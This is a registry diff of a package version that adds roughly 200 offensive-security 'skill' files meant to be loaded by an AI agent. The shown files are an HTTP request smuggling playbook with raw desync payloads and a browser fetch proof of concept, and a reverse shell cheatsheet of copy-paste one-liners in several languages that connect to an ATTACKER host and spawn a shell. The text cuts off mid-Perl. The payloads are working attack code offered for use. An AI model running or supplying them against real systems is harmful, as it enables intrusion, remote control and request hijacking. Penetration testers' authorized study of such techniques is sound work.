ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,314 @@
1
+ ---
2
+ name: request-smuggling
3
+ description: >-
4
+ HTTP request smuggling and desynchronization testing. Use when front proxies,
5
+ CDNs, or load balancers disagree with the origin on message framing
6
+ (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when
7
+ exploring client-side desync via browser fetch pipelines.gated: true
8
+ ---
9
+
10
+ # SKILL: HTTP Request Smuggling — Expert Attack Playbook
11
+
12
+ > **AI LOAD INSTRUCTION**: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser `fetch` pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is **message boundary disagreement** between hops.
13
+
14
+ Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.
15
+
16
+ ## 0. RELATED ROUTING
17
+
18
+ - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the HTTP client library is **Apache HttpClient <= 4.5.9** (HTTPCLIENT-1974/1978) — injecting `瘍瘊` (U+760D U+760A, low bytes `\r\n`) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement
19
+
20
+ ## 1. QUICK START
21
+
22
+ ### CL.TE first probe (front-end trusts CL, back-end trusts chunked)
23
+
24
+ Assumption: front end prioritizes `Content-Length`, back end prioritizes `Transfer-Encoding: chunked`. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
25
+
26
+ ```http
27
+ POST / HTTP/1.1
28
+ Host: target.example
29
+ Content-Type: application/x-www-form-urlencoded
30
+ Content-Length: 13
31
+ Transfer-Encoding: chunked
32
+
33
+ 0
34
+
35
+ SMUGGLED
36
+ ```
37
+
38
+ - Front end reads only 13 bytes based on `Content-Length: 13` (that is, `0\r\n\r\nSMUGGLED`, 13 bytes total) and considers the request complete.
39
+ - Back end parses as chunked: after the `0` end chunk, it treats **`SMUGGLED` and onward** as the start byte stream of the **next request**.
40
+
41
+ ### TE.CL first probe (front-end trusts chunked, back-end trusts CL)
42
+
43
+ Assumption: front end parses chunked and back end only reads `Content-Length`. Set **CL equal to the number of bytes in the chunk-length line** (commonly `4`: two hex characters + `\r\n`), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
44
+
45
+ Embed a second request in the chunk (all line endings are **CRLF**; `35` hex chunk length = 53 bytes):
46
+
47
+ ```http
48
+ POST / HTTP/1.1
49
+ Host: target.example
50
+ Content-Type: application/x-www-form-urlencoded
51
+ Content-Length: 4
52
+ Transfer-Encoding: chunked
53
+
54
+ 35
55
+ GET /admin HTTP/1.1
56
+ Host: target.example
57
+ Foo: x
58
+
59
+ 0
60
+
61
+
62
+ ```
63
+
64
+ On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
65
+
66
+ ### Safety note
67
+
68
+ Test only within **authorized scope**; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
69
+
70
+ ---
71
+
72
+ ## 1. CORE CONCEPT
73
+
74
+ **Definition**: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the **same TCP/TLS stream**, allowing an attacker to include a **partial or full** second request inside one logical request.
75
+
76
+ ```
77
+ Client Front (proxy/WAF) Back (origin)
78
+ | | |
79
+ |==== Request A+B ===>| |
80
+ | | parses boundary #1 | parses boundary #2
81
+ | | \ | /
82
+ | | different split points
83
+ | | |
84
+ v v v
85
+ Request A (seen) Request A' + smuggled B
86
+ ```
87
+
88
+ **Difference from CRLF injection**: CRLF usually injects into **responses** or **header lines**; smuggling targets implementation differences in **RFC 7230 message framing** (`Content-Length` / `chunked`).
89
+
90
+ **High-value impact**: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
91
+
92
+ ---
93
+
94
+ ## 2. CL.TE VULNERABILITIES
95
+
96
+ **Pattern**: front end trusts **`Content-Length`**; back end trusts **`Transfer-Encoding: chunked`**.
97
+
98
+ **Exact example** (same as §0): `Content-Length: 13` and `Transfer-Encoding: chunked` both exist, body is:
99
+
100
+ ```text
101
+ 0\r\n\r\nSMUGGLED
102
+ ```
103
+
104
+ Byte count: `0` + `\r\n` + `\r\n` + `SMUGGLED` = 13.
105
+
106
+ **Back-end perspective**: the chunked stream ends at `0\r\n\r\n`; if `SMUGGLED` starts with `METHOD SP` or another valid request prefix, it becomes a **smuggled request-line prefix**.
107
+
108
+ **Tuning**: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust `Transfer-Encoding` variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
109
+
110
+ ---
111
+
112
+ ## 3. TE.CL VULNERABILITIES
113
+
114
+ **Pattern**: front end parses **chunked**; back end only reads **`Content-Length`** (or too-short CL).
115
+
116
+ **Intent**: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
117
+
118
+ **Full TE.CL with embedded second request** (same family as §0; `Content-Length: 4` + first chunk-length line `35\r\n`):
119
+
120
+ ```http
121
+ POST / HTTP/1.1
122
+ Host: target.example
123
+ Content-Type: application/x-www-form-urlencoded
124
+ Content-Length: 4
125
+ Transfer-Encoding: chunked
126
+
127
+ 35
128
+ GET /admin HTTP/1.1
129
+ Host: target.example
130
+ Foo: x
131
+
132
+ 0
133
+
134
+
135
+ ```
136
+
137
+ Explanation:
138
+
139
+ - **Back end (CL)**: reads only 4 bytes from the message body start -> `3` `5` `\r` `\n`, marks body complete, and leaves the remaining bytes in the TCP read buffer.
140
+ - **Front end (TE)**: parses full stream as chunked and forwards/consumes `GET /admin...` as body content of the **already-closed first request** (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
141
+
142
+ For longer smuggling (e.g., `POST` + `Content-Length: 11` + `x=1`), chunk length is about `76` (hex `0x76` = 118 bytes); `Content-Length: 4` can still pin the back end to reading only the length line.
143
+
144
+ **Practical notes**: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
145
+
146
+ ---
147
+
148
+ ## 4. TE.TE VULNERABILITIES
149
+
150
+ **Pattern**: both front and back claim to process `Transfer-Encoding`, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
151
+
152
+ Use the following **8 obfuscation variants** to probe parser differentials (single-line display; `\t` means a real TAB):
153
+
154
+ ```http
155
+ Transfer-Encoding: xchunked
156
+ ```
157
+
158
+ ```http
159
+ Transfer-Encoding : chunked
160
+ ```
161
+
162
+ ```http
163
+ Transfer-Encoding: chunked
164
+ Transfer-Encoding: chunked
165
+ ```
166
+
167
+ ```http
168
+ Transfer-Encoding: x
169
+ ```
170
+
171
+ ```http
172
+ Transfer-Encoding:[TAB]chunked
173
+ ```
174
+ (Replace `[TAB]` with real `\x09`.)
175
+
176
+ ```http
177
+ Transfer-Encoding: chunked
178
+ ```
179
+ (One leading space at line start.)
180
+
181
+ ```http
182
+ X: X
183
+ Transfer-Encoding: chunked
184
+ ```
185
+ (Previous line value is `X` and next line starts with `Transfer-Encoding`: this uses **line continuation / lenient header parsing** so one hop may merge or split lines incorrectly; separator between `X` and `Transfer-Encoding` may be `\n` or `\r\n` depending on the target stack.)
186
+
187
+ ```http
188
+ Transfer-Encoding
189
+ : chunked
190
+ ```
191
+ (Field name and colon are on **different physical lines**; some parsers still treat it as valid `Transfer-Encoding: chunked`.)
192
+
193
+ **Strategy**: for each (front, back) pair, enumerate which side accepts each variant as `chunked`, then map to equivalent CL.TE or TE.CL using §2/§3.
194
+
195
+ ---
196
+
197
+ ## 5. HTTP/2 REQUEST SMUGGLING
198
+
199
+ ### H2 -> H1 Downgrade
200
+
201
+ Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
202
+
203
+ - incorrect pseudo-header to regular-header mapping order;
204
+ - forbidden headers (such as some `Connection` combinations) forwarded incorrectly;
205
+ - duplicate-header merge rules inconsistent with the origin.
206
+
207
+ ### Pseudo-header / header-injection smuggling (concept payload)
208
+
209
+ Attack surface comes from downstream H1 parsers treating certain bytes as the **start of a new request**. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:
210
+
211
+ ```text
212
+ header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target
213
+ ```
214
+
215
+ **Meaning**: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new `GET / HTTP/1.1` at `\r\n\r\n`.
216
+
217
+ **Testing directions**:
218
+
219
+ - duplicate and case handling for `Transfer-Encoding` / `Content-Length` in H2 (H2 requires lowercase, but translation layers can fail);
220
+ - downgrade behavior when `:method` or `:path` includes abnormal characters;
221
+ - interactions between tunneling or extended CONNECT and smuggling.
222
+
223
+ ---
224
+
225
+ ## 6. CLIENT-SIDE DESYNC
226
+
227
+ **Scenario**: browser request-body handling differs from middleware/origin, or **`no-cors` + preflight exemptions** permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).
228
+
229
+ **HEAD + GET chain**: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.
230
+
231
+ **JavaScript PoC shape** (illustrative: set body to raw bytes containing `GET`, with `no-cors` and credentials):
232
+
233
+ ```javascript
234
+ fetch("https://target.example/vulnerable", {
235
+ method: "POST",
236
+ mode: "no-cors",
237
+ credentials: "include",
238
+ body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
239
+ });
240
+ ```
241
+
242
+ **Note**: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.
243
+
244
+ ---
245
+
246
+ ## 7. TOOLS
247
+
248
+ | Tool | Purpose |
249
+ |------|------|
250
+ | **Burp Suite — HTTP Request Smuggler** (BApp Store) | Automated desync detection, common variants, timing-delta checks |
251
+ | **defparam/smuggler** (GitHub) | Python scripts for batch generation/sending of smuggling probes |
252
+ | **dhmosfunk/simple-http-smuggler-generator** (GitHub) | Quickly assemble raw CL.TE / TE.CL message templates |
253
+
254
+ **Usage advice**: first passively confirm a **front-end + origin** two-hop path, then select minimally disruptive probes, and lower concurrency in production.
255
+
256
+ ---
257
+
258
+ ## 8. DETECTION DECISION TREE
259
+
260
+ ```
261
+ Start: reverse proxy / CDN in path?
262
+ |
263
+ NO -------------+------------- YES
264
+ | |
265
+ Low classic smuggling |
266
+ (still test H2 desync) v
267
+ Can you send TE + CL together?
268
+ |
269
+ NO -------------------+------------------- YES
270
+ | |
271
+ Test H2-only issues Front prefers which?
272
+ (pseudo-header, reset) |
273
+ +-------------------------------+-------------------------------+
274
+ | | |
275
+ CL wins TE wins errors /
276
+ | | connection
277
+ v v |
278
+ CL.TE probes TE.CL probes TE.TE obfuscation
279
+ (Sec 0,2) (Sec 0,3) (Sec 4)
280
+ | | |
281
+ v v v
282
+ Time / content / Adjust chunk Pairwise matrix:
283
+ queue poisoning sizes + CL which hop accepts
284
+ signals? alignment which variant?
285
+ | | |
286
+ +-------------------------------+-------------------------------+
287
+ |
288
+ v
289
+ Confirm with second request
290
+ smuggled (replay-safe)
291
+ or Collaborator-style side signal
292
+ ```
293
+
294
+ ---
295
+
296
+ ### Advanced Reference
297
+
298
+ Also load [H2_SMUGGLING_VARIANTS.md](./H2_SMUGGLING_VARIANTS.md) when you need:
299
+ - H2.CL and H2.TE variants with byte-level payload examples
300
+ - CL.0 (connection close desync) — technique and detection
301
+ - Fat GET request smuggling (body in GET request)
302
+ - Request smuggling → cache poisoning chain (response queue misalignment)
303
+ - Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
304
+ - CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)
305
+
306
+ ---
307
+
308
+ ## 12. RELATED ROUTING
309
+
310
+ - **Input enters interpreter/query language/template** (not HTTP framing) -> [Injection Testing Router](../injection-checking/SKILL.md) (then drill down into XSS, SQLi, SSTI, etc.).
311
+ - **Response header splitting / Location CRLF** -> [CRLF Injection](../crlf-injection/SKILL.md).
312
+ - **Cache and path-key confusion** -> [Web Cache Deception](../web-cache-deception/SKILL.md).
313
+
314
+ Once confirmed as an **HTTP message-boundary** issue rather than parameter injection, **stay in this skill** to avoid misrouting into general injection workflows.
@@ -0,0 +1,196 @@
1
+ ---
2
+ name: reverse-shell-cheatsheet
3
+ description: >-
4
+ One-liner reverse shell cheatsheet for 20+ languages and tools. Copy-paste ready payloads with ATTACKER/PORT placeholders.
5
+ ---
6
+
7
+ # REVERSE SHELL CHEATSHEET
8
+
9
+ > Supplementary reference for [reverse-shell-techniques](./SKILL.md). Replace `ATTACKER` with your IP and `PORT` with your listener port.
10
+
11
+ ## Listener Setup
12
+
13
+ ```bash
14
+ nc -lvnp PORT # Basic netcat listener
15
+ rlwrap nc -lvnp PORT # With readline support
16
+ socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT # Full PTY listener
17
+ ```
18
+
19
+ ---
20
+
21
+ ## Bash
22
+
23
+ ```bash
24
+ bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
25
+
26
+ bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'
27
+
28
+ 0<&196;exec 196<>/dev/tcp/ATTACKER/PORT; bash <&196 >&196 2>&196
29
+ ```
30
+
31
+ ## Python / Python3
32
+
33
+ ```python
34
+ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
35
+
36
+ python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
37
+ ```
38
+
39
+ ## PHP
40
+
41
+ ```bash
42
+ php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
43
+
44
+ php -r '$sock=fsockopen("ATTACKER",PORT);$proc=proc_open("sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
45
+ ```
46
+
47
+ ## Ruby
48
+
49
+ ```bash
50
+ ruby -rsocket -e'f=TCPSocket.open("ATTACKER",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
51
+
52
+ ruby -rsocket -e'exit if fork;c=TCPSocket.new("ATTACKER",PORT);loop{c.gets.chomp!;(exit! if $_=="exit");STDOUT.reopen(c);STDERR.reopen(c);STDIN.reopen(c);system($_)}'
53
+ ```
54
+
55
+ ## Perl
56
+
57
+ ```bash
58
+ perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
59
